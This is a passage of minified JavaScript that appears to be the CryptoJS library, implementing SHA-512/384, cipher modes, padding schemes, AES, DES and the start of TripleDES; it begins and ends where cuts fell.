r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = 